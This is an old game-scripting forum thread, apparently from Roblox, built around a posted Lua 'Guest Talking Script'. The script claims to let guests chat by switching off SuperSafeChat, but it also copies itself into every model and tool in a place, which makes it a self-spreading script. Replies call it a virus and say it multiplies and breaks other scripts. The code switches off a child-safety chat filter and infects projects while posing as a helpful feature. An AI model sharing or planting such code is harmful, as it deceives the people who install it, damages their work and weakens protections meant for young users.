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 Guest Talking Script

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Chaddster
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Posts : 261
Join date : 2009-04-29
Location : You know that house on the street.
Age : 21

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PostSubject: Guest Talking Script   Sat Jul 25, 2009 12:40 pm

if (script.Parent == workspace) then
function checkForAndSwitch(player)
if (player.SuperSafeChat == true) then
player.SuperSafeChat = false;
wait(5);
local m = Instance.new("Message");
m.Text = "Press the / key to start typing.";
m.Parent = player;
wait(5);
m.Text = "Then press Enter to send your message.";
wait(5);
m:Remove();
m = nil;
end
player = nil;
collectgarbage("collect");
end
function onChildAddedToPlayers(obj)
if (obj.className == "Player") then
checkForAndSwitch(obj);
local m = Instance.new("Message");
m.Text = "This Server Supports Talking Guests";
m.Parent = obj;
wait(5);
m:Remove();
m = nil;
end
obj = nil;
collectgarbage("collect");
end
function onChildAddedToWorkspace(obj)
if (obj.className == "Model") then
if (game.Players:playerFromCharacter(obj) ~= nil) then
checkForAndSwitch(game.Players:playerFromCharacter(obj));
end
end
obj = nil;
collectgarbage("collect");
end
function findLowestLevel(obj)
local c = obj:GetChildren();
local lowestLevel = true;
for i, v in pairs(c) do
if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
lowestLevel = false;
wait();
findLowestLevel(v);
end
end
if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
if (obj ~= game.Lighting and obj ~= game.StarterPack) then
local s = script:Clone();
s.Parent = obj;
end
end
end
findLowestLevel(game);
game.Players.ChildAdded:connect(onChildAddedToPlayers);
game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
local findScript = workspace:FindFirstChild(script.Name);
if (findScript == nil) then
local s = script:Clone();
s.Parent = workspace;
end
end
--[[function findAllCopies(obj)
local c = obj:GetChildren();
for i, v in pairs(c) do
if (v.Name == script.Name and v.className == "Script" and v ~= script) then
v.Parent = nil;
elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
findAllCopies(v);
end
end
end
findAllCopies(game);
script.Parent = nil;]]

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brandon36324
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PostSubject: Re: Guest Talking Script   Sat Jul 25, 2009 4:40 pm

really wow its long

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jordan4762
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PostSubject: Re: Guest Talking Script   Tue Aug 18, 2009 10:27 am

Thats Becuz Its A Virus
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jordan4762
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PostSubject: Re: Guest Talking Script   Tue Aug 18, 2009 10:28 am

No Offence Its A GOOD Virus Very Happy
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brandon36324
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PostSubject: Re: Guest Talking Script   Tue Aug 18, 2009 3:24 pm

offensive

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Chaddster
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PostSubject: Re: Guest Talking Script   Tue Aug 18, 2009 8:59 pm

It is but, it does let guest talk.

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Perfectlystrange
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PostSubject: Re: Guest Talking Script   Tue Aug 18, 2009 9:20 pm

well.... with all the guest talk stuff i tried it on my places..... nothing in it, and it STILL wouldent let me talk.
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mightycook
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PostSubject: Re: Guest Talking Script   Mon Oct 26, 2009 5:15 pm

i dont want guests to talk
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mightycook
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PostSubject: Re: Guest Talking Script   Mon Oct 26, 2009 5:16 pm

its fine if they do but hey can be annoying
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jamber250
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PostSubject: Re: Guest Talking Script   Mon Oct 26, 2009 8:28 pm

Its a virus and it helps, bad thing is it IS a virus. The Uhhh script muliplys and it makes my other scripts not work.

Thats why i Invented my Own Virus Protection Script. It Fully protects your place from viruses and any new viruses. It wipes it out 100%.

It also has some other good stuff. It tells the server Status.

I like it. Called Virus-B-Gone.
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